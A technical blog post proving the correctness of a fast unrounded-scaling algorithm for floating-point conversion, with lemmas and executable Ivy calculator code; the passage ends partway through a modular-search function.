research!rsc

Fast Unrounded Scaling: Proof by Ivy

2026-01-19T16:46:00-05:00

My post “Floating-Point Printing and Parsing Can Be Simple And Fast” depends on fast unrounded scaling, defined as:

\begin{matrix} ⟨ x ⟩ & = & ⌊ 2 x ⌋ || (2 x \neq ⌊ 2 x ⌋) \\ uscale (x, e, p) & = & ⟨ x \cdot 2^{e} \cdot 10^{p} ⟩ \end{matrix}

The unrounded form of $x \in ℝ$ , $⟨ x ⟩$ , is the integer value of $⌊ x ⌋$ concatenated with two more bits: first, the “½ bit” from the binary representation of $x$ (the bit representing $2^{- 1}$ ; $1$ if $x - ⌊ x ⌋ \geq ½$ ; or equivalently, $⌊ 2 x ⌋ mod 2$ ); and second, a “sticky bit” that is 1 if any bits beyond the ½ bit were 1.

These are all equivalent definitions, using the convention that a boolean condition is 1 for true, 0 for false:

\begin{matrix} ⟨ x ⟩ & = & ⌊ x ⌋ || (x - ⌊ x ⌋ \geq ½) || (x - ⌊ x ⌋ \notin 0, ½) & (‘ || ’ is bit concatenation) \\ = & ⌊ x ⌋ || (x - ⌊ x ⌋ \geq ½) || (2 x \neq ⌊ 2 x ⌋) \\ = & ⌊ 2 x ⌋ || (2 x \neq ⌊ 2 x ⌋) \\ = & ⌊ 4 x ⌋ | (2 x \neq ⌊ 2 x ⌋) & (‘ | ’ is bitwise OR) \\ = & ⌊ 4 x ⌋ | (4 x \neq ⌊ 4 x ⌋) \end{matrix}

The $uscale$ operation computes the unrounded form of $x \cdot 2^{e} \cdot 10^{p}$ , so it needs to compute the integer $⌊ 2 \cdot x \cdot 2^{e} \cdot 10^{p} ⌋$ and then also whether the floor truncated any bits. One approach would be to compute $2 \cdot x \cdot 2^{e} \cdot 10^{p}$ as an exact rational, but we want to avoid arbitrary-precision math. A faster approach is to use a floating-point approximation for $10^{p}$ : $10^{p} \approx 𝑝𝑚 \cdot 2^{𝑝𝑒}$ , where $𝑝𝑚$ is 128 bits. Assuming $x < 2^{64}$ , this requires a single 64×128→192-bit multiplication, implemented by two full-width 64×64→128-bit multplications on a 64-bit computer.

The algorithm, which we will call $Scale$ , is given integers $x$ , $e$ , and $p$ subject to certain constraints and operates as follows:

$Scale (x, e, p)$ :

Let $𝑝𝑒 = - 127 - ⌈ log_{2} 10^{- p} ⌉$ .
Let $𝑝𝑚 = ⌈ 10^{p} /2^{𝑝𝑒} ⌉$ , looked up in a table indexed by $p$ .
Let $b = bits (x)$ , the number of bits in the binary representation of $x$ .
Let $m = e + 𝑝𝑒 + b - 1$ .
Let $𝑡𝑜𝑝 = ⌊ x \cdot 𝑝𝑚 /2^{m} /2^{b} ⌋, 𝑚𝑖𝑑𝑑𝑙𝑒 = ⌊ x \cdot 𝑝𝑚 /2^{b} ⌋ mod 2^{m}, 𝑏𝑜𝑡𝑡𝑜𝑚 = x \cdot 𝑝𝑚 mod 2^{b}$ .
Put another way, split $x \cdot 𝑝𝑚$ into $𝑡𝑜𝑝 || 𝑚𝑖𝑑𝑑𝑙𝑒 || b o t t o m$ where $𝑏𝑜𝑡𝑡𝑜𝑚$ is $b$ bits, $𝑚𝑖𝑑𝑑𝑙𝑒$ is $m$ bits, and $𝑡𝑜𝑝$ is the remaining bits.
Return $⟨ (𝑡𝑜𝑝 || 𝑚𝑖𝑑𝑑𝑙𝑒) /2^{m + 1} ⟩$ , computed as $𝑡𝑜𝑝 || (𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0)$ or as $𝑡𝑜𝑝 || (𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2)$ .

The initial uscale implementation in the main post uses $(𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0)$ in its result, but an optimized version uses $(𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2)$ .

This post proves both versions of $Scale$ correct for the $x$ , $e$ , and $p$ needed by the three floating-point conversion algorithms in the main post. Those algorithms are:

FixedWidth converts floating-point to decimal. It needs to call $Scale$ with a 53-bit $x$ , $e \in [- 1137, 960]$ , and $p \in [- 307, 341]$ , chosen to produce a result $r \in [0, 2 \cdot 10^{18})$ , which is at most 61 bits (62-bit output; $b = 53, m \geq 128 - 62 = 66$ ).
Short also converts floating-point to decimal. It needs to call $Scale$ with a 55-bit $x$ , $e \in [- 1137, 960]$ , and $p \in [- 292, 324]$ , chosen to produce a result $r \in [0, 2 \cdot 10^{18})$ , still at most 61 bits. (62-bit output; $b = 55, m \geq 128 - 62 = 66$ ).
Parse converts decimal to floating-point. It needs to call $Scale$ with a 64-bit $x$ and $p \in [- 343, 289]$ , chosen to produce a result $r \in [0, 2^{54})$ , which is at most 54 bits (55-bit output; $b = 64, m \geq 128 - 55 = 73$ ).

The “output” bit counts include the ½ bit but not the sticky bit. Note that for a given $x$ and $p$ , the maximum result size determines a relatively narrow range of possible $e$ .

To start the proof, consider a hypothetical algorithm $Scale^{ℝ}$ that is the same as $Scale$ except using exact real numbers. (Technically, only rationals are required, so this could be implemented, but it is only a thought experiment.)

$Scale^{ℝ} (x, e, p)$ :

Let $𝑝𝑒 = - 127 - ⌈ log_{2} 10^{- p} ⌉$ .
Let $𝑝𝑚^{ℝ} = 10^{p} /2^{𝑝𝑒}$ .
(Note: $𝑝𝑚^{ℝ}$ is an exact value, not a ceiling.)
Let $b = bits (x)$ .
Let $m = - e - p e - b - 1$ .
Let $𝑡𝑜𝑝^{ℝ} = ⌊ x \cdot 𝑝𝑚^{ℝ} /2^{m} /2^{b} ⌋, 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} = ⌊ x \cdot 𝑝𝑚 /2^{b} ⌋ mod 2^{m}, 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = x \cdot 𝑝𝑚 mod 2^{b}$ .
(Note: $𝑡𝑜𝑝^{ℝ}$ and $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ are integers, but $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ is an exact value that may not be an integer.)
Return $⟨ (𝑡𝑜𝑝^{ℝ} || 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}) /2^{b + m + 1} ⟩$ , computed as $𝑡𝑜𝑝^{ℝ} || (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ .

Using exact reals makes it straighforward to prove $Scale^{ℝ}$ correct.

Lemma 1. $Scale^{ℝ}$ computes $uscale (x, e, p)$ .

Proof. Expand the math in the final result:

\begin{matrix} 𝑡𝑜𝑝^{ℝ} & = & ⌊ x \cdot 𝑝𝑚^{ℝ} /2^{m} /2^{b} ⌋ & [definition of 𝑡𝑜𝑝^{ℝ}] \\ = & ⌊ x \cdot 10^{p} /2^{𝑝𝑒} /2^{m} /2^{b} ⌋ & [definition of 𝑝𝑚^{ℝ}] \\ = & ⌊ x \cdot 10^{p} /2^{𝑝𝑒} /2^{- e - 𝑝𝑒 - b - 1} /2^{b} ⌋ & [definition of m] \\ = & ⌊ x \cdot 10^{p} \cdot 2^{- 𝑝𝑒 + e + 𝑝𝑒 + b + 1 - b} ⌋ & [rearranging] \\ = & ⌊ x \cdot 10^{p} \cdot 2^{e + 1} ⌋ & [simplifying] \\ = & ⌊ 2 \cdot x \cdot 2^{e} \cdot 10^{p} ⌋ & [rearranging] \\ 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \neq 0 or 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0 & = & ⌊ x \cdot 𝑝𝑚 /2^{b} ⌋ mod 2^{m} \neq 0 or x mod 2^{b} \neq 0 & [definition of 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}, 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}] \\ = & x \cdot 𝑝𝑚^{ℝ} mod 2^{m + b} \neq 0 & [simplifying] \\ = & ⌊ x \cdot 𝑝𝑚^{ℝ} /2^{m + b} ⌋ \neq x \cdot 𝑝𝑚^{ℝ} /2^{m + b} & [definition of floor and mod] \\ = & ⌊ 2 \cdot x \cdot 2^{e} \cdot 10^{p} ⌋ \neq 2 \cdot x \cdot 2^{e} \cdot 10^{p} & [reusing expansion of x \cdot 𝑝𝑚^{ℝ} /2^{m} /2^{b} above] \\ Scale^{ℝ} & = & 𝑡𝑜𝑝^{ℝ} || (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \neq 0 or 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0) & [definition of Scale^{ℝ}] \\ = & ⌊ 2 \cdot x \cdot 2^{e} \cdot 10^{p} ⌋ || ⌊ 2 \cdot x \cdot 2^{e} \cdot 10^{p} ⌋ \neq 2 \cdot x \cdot 2^{e} \cdot 10^{p} & [applying previous two expansions] \\ = & ⟨ x \cdot 2^{e} \cdot 10^{p} ⟩ & [definition of ⟨ . . . ⟩] \\ = & uscale (x, e, p) & [definition of scale] \end{matrix}

So $Scale^{ℝ} (x, e, p)$ computes $uscale (x, e, p)$ . $∎$

Next we can establish basic conditions that make $Scale$ correct.

Lemma 2. If $𝑡𝑜𝑝 = 𝑡𝑜𝑝^{ℝ}$ and $(𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0) \equiv (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ , then $Scale$ computes $uscale (x, e, p)$ .

Proof. $Scale^{ℝ} (x, e, p) = 𝑡𝑜𝑝^{ℝ} || (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ , while $Scale (x, e, p) = 𝑡𝑜𝑝 || (𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0)$ . If $𝑡𝑜𝑝 = 𝑡𝑜𝑝^{ℝ}$ and $(𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0) \equiv (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ , then these expressions are identical. Since $Scale^{ℝ} (x, e, p)$ computes $uscale (x, e, p)$ (by Lemma 1), so does $Scale (x, e, p)$ . $∎$

Now we need to show that $𝑡𝑜𝑝 = 𝑡𝑜𝑝^{ℝ}$ and $(𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0) \equiv (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ in all cases. We will also show that $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ to justify using $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ in place of $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0$ when that’s convenient.

Note that $𝑝𝑚 = ⌈ 𝑝𝑚^{ℝ} ⌉ = 𝑝𝑚^{ℝ} + ε_{0}$ for $ε_{0} \in [0, 1)$ , and so:

\begin{matrix} x \cdot 𝑝𝑚 & = & x \cdot (𝑝𝑚^{ℝ} + ε_{0}) \\ = & x \cdot 𝑝𝑚^{ℝ} + ε_{1}, ε_{1} = x \cdot ε_{0} \in [0, 2^{b}) \\ 𝑡𝑜𝑝 || 𝑚𝑖𝑑𝑑𝑙𝑒 || 𝑏𝑜𝑡𝑡𝑜𝑚 & = & 𝑡𝑜𝑝^{ℝ} || 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} + ε_{1} \end{matrix}

The proof analyzes the effect of the addition of $ε_{1}$ to the ideal result $𝑡𝑜𝑝^{ℝ} || 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ . Since $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ is $b$ bits and $ε_{1}$ is at most $b$ bits, adding $ε_{1} > 0$ always causes $𝑏𝑜𝑡𝑡𝑜𝑚 \neq 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ . (Talking about the low $b$ bits of a real number is unusual; we mean the low $b$ integer bits followed by all the fractional bits: $x \cdot 𝑝𝑚^{ℝ} mod 2^{b}$ .)

The question is whether that addition overflows and propagates a carry into $𝑚𝑖𝑑𝑑𝑙𝑒$ or even $𝑡𝑜𝑝$ . There are two main cases: exact results $(𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0)$ and inexact results $(𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ .

Exact Results

Exact results have no error, making them match $Scale^{ℝ}$ exactly.

Lemma 3. For exact results, $Scale$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. For an exact result, $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0$ , meaning $2 \cdot x \cdot 2^{e} \cdot 10^{p}$ is an integer and the sticky bit is 0. Since $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ is $b$ zero bits, adding $ε_{1}$ affects $𝑏𝑜𝑡𝑡𝑜𝑚$ but does not carry into $𝑚𝑖𝑑𝑑𝑙𝑒$ or $𝑡𝑜𝑝$ . Therefore $𝑡𝑜𝑝 = 𝑡𝑜𝑝^{ℝ}$ and $𝑚𝑖𝑑𝑑𝑙𝑒 = 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} = 0$ . The latter, combined with $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0$ , makes $(𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0) \equiv (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0)$ trivially true (both sides are false). By Lemma 2, $Scale$ is correct. And since $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ , $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ . $∎$

Inexact Results

Inexact results are more work. We will reduce the correctness to a few conditions on $𝑚𝑖𝑑𝑑𝑙𝑒$ .

Lemma 4. For inexact results, if $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0$ , then $Scale (x, e, p)$ computes $uscale (x, e, p)$ .

Proof. For an inexact result, $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0$ . The only possible change from $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ to $𝑚𝑖𝑑𝑑𝑙𝑒$ is a carry from the error addition $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} + ε_{1}$ overflowing $𝑏𝑜𝑡𝑡𝑜𝑚$ . That carry is at most 1, so $𝑚𝑖𝑑𝑑𝑙𝑒 = (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} + ε_{2}) mod 2^{m}$ for $ε_{2} \in [0, 1]$ . An overflow into $𝑡𝑜𝑝$ leaves $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ . If $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0$ then there can be no overflow, so $𝑡𝑜𝑝 = 𝑡𝑜𝑝^{ℝ}$ . By Lemma 2, $Scale$ computes $uscale (x, e, p)$ . $∎$

For some cases, it will be more convenient to prove the range of $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ instead of the range of $𝑚𝑖𝑑𝑑𝑙𝑒$ . For that we can use a variant of Lemma 4.

Lemma 5. For inexact results, if $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [1, 2^{m} - 2]$ then $Scale (x, e, p)$ computes $uscale (x, e, p)$ .

Proof. If $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [1, 2^{m} - 2]$ , then $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} + ε_{2} \in [1, 2^{m} - 1]$ , so the $mod$ in $𝑚𝑖𝑑𝑑𝑙𝑒 = (𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} + ε_{2}) mod 2^{m}$ does nothing (there is no overflow and wraparound), so $𝑚𝑖𝑑𝑑𝑙𝑒 = 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} + ε_{2} \geq 1$ . By Lemma 4, $Scale (x, e, p)$ computes $uscale (x, e, p)$ . $∎$

A related lemma helps with $m i d d l e \neq 1$ .

Lemma 6. For inexact results, if $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m} - 2]$ , then $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ .

Proof. Again there is no overflow, so $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \geq 2$ . $∎$

Now we need to prove either that $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m} - 2]$ or that $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 0$ for all inexact results. We will consider four cases:

[Small Positive Powers] $p \in [0, 27]$ and $b \leq 64$ .
[Small Negative Powers] $p \in [- 27, - 1]$ and $b \leq 64$ .
[Large Powers, Printing] $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 55$ , $m \geq 66$ .
[Large Powers, Parsing] $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 64$ , $m \geq 73$ .

Small Positive Powers

Lemma 7. For inexact results and $p \in [0, 27]$ and $b \leq 64$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. $5^{p} < 2^{63}$ , so the non-zero bits of $𝑝𝑚^{ℝ}$ fits in the high 63 bits. That implies that the $b + 128$ -bit product $x \cdot 𝑝𝑚^{ℝ} = 𝑡𝑜𝑝^{ℝ} || 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ ends in 65 zero bits. Since $b \leq 64$ , that means $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0$ and $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ ’s low bit is zero.

Because the result is inexact, $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} \neq 0$ , which implies $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \neq 0$ (since $𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0$ ). Since $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ ’s low bit is zero, $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m} - 2]$ . By Lemma 5, $Scale (x, e, p)$ computes $uscale (x, e, p)$ . By Lemma 6, $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ . $∎$

Small Negative Powers

Lemma 8. For inexact results and $p \in [- 27, - 1]$ and $b \leq 64$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. Scaling by $2^{e}$ cannot introduce inexactness, since it just adds or subtracts from the exponent. The only inexactness must come from $10^{p}$ , specifically the $5^{p}$ part. Since $p < 0$ and $1/5$ is not exactly representable in a binary fraction, the result is inexact if and only if $x mod 5^{- p} \neq 0$ (remember that $- p$ is positive!).

Since $𝑝𝑚^{ℝ} \in [2^{127}, 2^{128})$ and $5^{- p} < 2^{- 2}$ , $𝑝𝑚^{ℝ} = 5^{- p} \cdot 2^{k}$ for some $k \geq 130$ . Since $m + b \leq 128$ , $𝑡𝑜𝑝^{ℝ} = ⌊ x \cdot 2^{k - (m + b)} /5^{- p} ⌋$ and $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 2^{m + b} \cdot (x \cdot 2^{k - (m + b)} mod 5^{- p}) /5^{- p}$ . That is, $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ}$ encodes some non-zero binary fraction with denominator $5^{- p}$ . Note also that $x \cdot 𝑝𝑚$ is $b + 128$ bits and the output is at most 64 bits we have $m \geq 64$ , so $2^{m} \cdot 2^{- 63} \geq 2$ .

That implies

\begin{matrix} 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} & \in & 2^{m + b} \cdot (5^{- 27}, 1 - 5^{- 27}) \\ \subset & 2^{m + b} \cdot (2^{- 63}, 1 - 2^{- 63}) \\ 𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} & \in & 2^{m} \cdot (2^{- 63}, 1 - 2^{- 63}) \\ \subset & (2, 2^{m - 2}) \end{matrix}

By Lemma 5 and Lemma 6, $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ . $∎$

Large Powers

That leaves $p \in [- 400, - 28] \cup [28, 400]$ . There are not many $𝑝𝑚$ to check—under a thousand—but there are far too many $x$ to exhaustively test that $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ for all of them. Instead, we will have to be a bit more clever.

It would be simplest if we could prove that all possible $𝑝𝑚$ and all $x \in [1, 2^{64})$ result in a non-zero middle, but that turns out not to be the case.

For example, using $p = - 29$ , $x = 0x8e151cee6e31e067$ is a problem, which we can verify using the Ivy calculator:

# hex x is the hex formatting of x (as text)
op hex x = '#x' text x

# spaced adds spaces to s between sections of 16 characters
op spaced s = (count s) <= 18: s; (spaced -16 drop s), ' ', -16 take s

# pe returns the binary exponent for 10**p.
op pe p = -(127+ceil 2 log 10**-p)

# pm returns the 128-bit mantissa for 10**p.
op pm p = ceil (10**p) / 2**pe p

spaced hex (pm -29) * 0x8e151cee6e31e067
-- out --
0x7091bfc45568750f 0000000000000000 d81262b60aa6e8b7

We might perhaps think the problem is that $10^{- 29}$ is too close to the small negative powers, but positive powers break too:

spaced hex (pm 31) * 0x93997b98618e62a1
-- out --
0x918b5cd9fd69fdc5 0000000000000000 6d00000000000000

We might yet hope that the zeros were not caused by an error carry; then as long as we force the inexact bit to 1, we could still use the high bits. And indeed, for both of the previous examples, the zeros are not caused by an error carry: $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ}$ is all zeros. But that is not always the case. Here is a middle that is zero due to an error carry that overflowed into the top bits:

spaced hex (pm 62) * 0xd5bc71e52b31e483
spaced hex ((10**62) * 0xd5bc71e52b31e483) >> (pe 62)
-- out --
0xcfd352e73dc6ddc3 0000000000000000 774bd77b38816199
0xcfd352e73dc6ddc2 ffffffffffffffff e6fdb9b19804952a

Instead of proving the completely general case, we will have to pick our battles and focus on the specific cases we need for floating-point conversions.

We don’t need to try every possible input width below the maximum $b$ . Looking at $Scale$ , it is clear that the inputs $x$ and $x \cdot 2^{k}$ have the same $𝑡𝑜𝑝$ and $𝑚𝑖𝑑𝑑𝑙𝑒$ , and also that $𝑏𝑜𝑡𝑡𝑜𝑚 (x \cdot 2^{k}) = 𝑏𝑜𝑡𝑡𝑜𝑚 (x) \cdot 2^{k}$ . Since the middles are the same, the condition $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ has the same truth value for both inputs. So we can limit our analysis to maximum-width $b$ -bit inputs in $[2^{b - 1}, 2^{b})$ . Similarly, we can prove that $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ for $m \geq k$ by proving it for $m = k$ : moving more bits from the low end of $𝑡𝑜𝑝$ to the high end of $𝑚𝑖𝑑𝑑𝑙𝑒$ cannot make $𝑚𝑖𝑑𝑑𝑙𝑒$ a smaller number.

Proving that $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ for the cases we listed above means proving:

[Printing] ( $b \leq 55$ , $m \geq 66$ .)
For all large $p$ and all $x \in [2^{54}, 2^{55})$ : $x \cdot 𝑝𝑚 mod 2^{55 + 66 = 121} \geq 2^{55 + 1 = 56}$ .
[Parsing] ( $b \leq 64$ , $m \geq 73$ .)
For all large $p$ and all $x \in [2^{63}, 2^{64})$ : $x \cdot 𝑝𝑚 mod 2^{64 + 73 = 137} \geq 2^{64 + 1 = 65}$ .

To prove these two conditions, we are going to write an Ivy program to analyze each $𝑝𝑚$ separately, proving that all relevant $x$ satisfy the condition.

Ivy has arbitrary-precision rationals and lightweight syntax, making it a convenient tool for sketching and testing mathematical algorithms, in the spirit of Iverson’s Turing Award lecture about APL, “Notation as a Tool of Thought.” Like APL, Ivy uses strict right-to-left operator precedence: 1+2*3+4 means (1+(2*(3+4))), and floor 10 log f means floor (10 log f). Operators can be prefix unary like floor or infix binary like log. Each of the Ivy displays in this post is executable: you can edit the code and re-run them by clicking the Play button (“▶️”). A full introduction to Ivy is beyond the scope of this post; see the Ivy demo for more examples.

We’ve already started the proof program above by defining pm and pe. Let’s continue by defining a few more helpers.

First let’s define is, an assertion for basic testing of other functions:

# is asserts that x === y.
op x is y =
    x === y: x=x
    print x '≠' y
    1 / 0

(1+2) is 3

(2+2) is 5
-- out --
4 ≠ 5
-- err --
input:1: division by zero

If the operands passed to is are not equal (the triple === does full vaue comparison), then is prints them out and divides by zero to halt execution.

Next, we will set Ivy’s origin to 0 (instead of the default 1), meaning iota starts counting at 0 and array indexes start at 0, and then we will define seq x y, which returns the list of integers $[x, y]$ .

)origin 0

# seq x y = (x x+1 x+2 ... y)
op seq (x y) = x + iota 1+y-x

(seq -2 4) is -2 -1 0 1 2 3 4

Now we are ready to start attacking our problem, which is to prove that for a given $𝑝𝑚$ , $b$ , and $m$ , for all $x$ , $𝑚𝑖𝑑𝑑𝑙𝑒 || 𝑏𝑜𝑡𝑡𝑜𝑚 = x \cdot 𝑝𝑚 mod 2^{b + m} \geq 2^{b + 1}$ , implying $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ , at which point we can use Lemma 4.

We will proceed in two steps, loosely following an approach by Vern Paxson and Tim Peters (the “Related Work” section explains the differences). The first step is to solve the “modular search” problem of finding the minimum $x \geq 0$ (the “first” $x$ ) such that $x \cdot c mod m \in [𝑙𝑜, hi]$ . The second step is to use that solution to solve the “modular minimum” problem of finding an $x$ in a given range that minimizes $x \cdot c mod m$ .

Modular Search

Given constants $c$ , $m$ , $𝑙𝑜$ , and $hi$ , we want to find the minimum $x \geq 0$ (the “first” $x$ ) such that $x \cdot c mod m \in [𝑙𝑜, hi]$ . This is an old programming contest problem, and I am not sure whether it has a formal name. There are multiple ways to derive a GCD-like efficient solution. The following explanation, based on one by David Wärn, is the simplest I am aware of.

Here is a correct $O (m)$ iterative algorithm:

op modfirst (c m lo hi) =
    xr x cx mx = 0 0 1 0
    :while 1
        # (A) xr ≤ hi but perhaps xr < lo.
        :while xr < lo
            xr x = xr x + c cx
        :end
        xr <= hi: x
        # (B) xr - c < lo ≤ hi < xr
        :while xr > hi
            xr x = xr x + (-m) mx
        :end
        lo <= xr: x
        # (C) xr < lo ≤ hi < xr + m
        x >= m: -1
    :end

The algorithm walks $x$ forward from 1, maintaining $𝑥𝑟 = x \cdot c mod m$ :

When $𝑥𝑟$ is too small, it adds $c$ to $𝑥𝑟$ and increments $x$ ( $c x = 1$ ).
When $𝑥𝑟$ is too large, it subtracts $m$ from $𝑥𝑟$ and leaves $x$ unchanged ( $m x = 0$ ).
When $x$ reaches $m$ , it gives up: there is no answer.

This loop is easily verified to be correct:

It starts with $x = 0$ and considers successive $x$ one at a time.
While doing that, it maintains 𝑥𝑟 correctly:
- If $𝑥𝑟$ is too small, we must add a $c$ (and increment $x$ ).
- If $𝑥𝑟$ is too large, we must subtract an $m$ (and leave $x$ alone).
If $𝑥𝑟 \in [𝑙𝑜, hi]$ , it notices and stops.

The only problem with this modfirst is that it is unbearably slow, but we can speed it up.

At (A), $x r \leq h i$ , established by the initial $x r = 0$ or by the end of the previous iteration.

At (B), $𝑥𝑟 - c < 𝑙𝑜 \leq hi < 𝑥𝑟$ . Because $𝑥𝑟 - c < 𝑙𝑜$ , subtracting $m \geq c$ will make $𝑥𝑟$ too small; that will always be followed by at least $⌊ m / c ⌋$ additions of $c$ . So we might as well replace $m$ with $- m + c \cdot ⌊ m / c ⌋$ , speeding future trials. We will also have to update $𝑚𝑥$ , to make sure $x$ is maintained correctly.

At (C), $𝑥𝑟 \leq hi < 𝑥𝑟 + m$ , and by a similar argument, we might as well replace $c$ with $c - m \cdot ⌊ c / m ⌋$ , updating $𝑐𝑥$ as well.

Making both changes to our code, we get:

op modfirst (c m lo hi) =
    xr x cx mx = 0 0 1 0
    :while 1
        # (A) xr ≤ hi but perhaps xr < lo.
        :while xr < lo
            xr x = xr x + c cx
        :end
        xr <= hi: x
        # (B) xr - c < lo ≤ hi < xr
        m mx = m mx + (-c) cx * floor m/c
        m == 0: -1
        :while xr > hi
            xr x = xr x + (-m) mx
        :end
        lo <= xr: x
        c cx = c cx + (-m) mx * floor c/m
        c == 0: -1
        # (C) xr < lo ≤ hi < xr+m
    :end

Notice that the loop is iterating (among other things) $m = m mod c$ and $c = c mod m$ , the same as Euclid’s GCD algorithm, so $O (log_{} c)$ iterations will zero $c$ or $m$ . The old test for $x \geq m$ (made incorrect by modifiying $m$ ) is replaced by checking for $c$ or $m$ becoming zero.

Finally, we should optimize away the small while loops by calculating how many times each will be executed:

op modfirst (c m lo hi) =
    xr x cx mx = 0 0 1 0
    :while 1
        # (A) xr ≤ hi but perhaps xr < lo.
        xr x = xr x + c cx * ceil (0 max lo-xr)/c
        xr <= hi: x
        # (B) xr - c < lo ≤ hi < xr
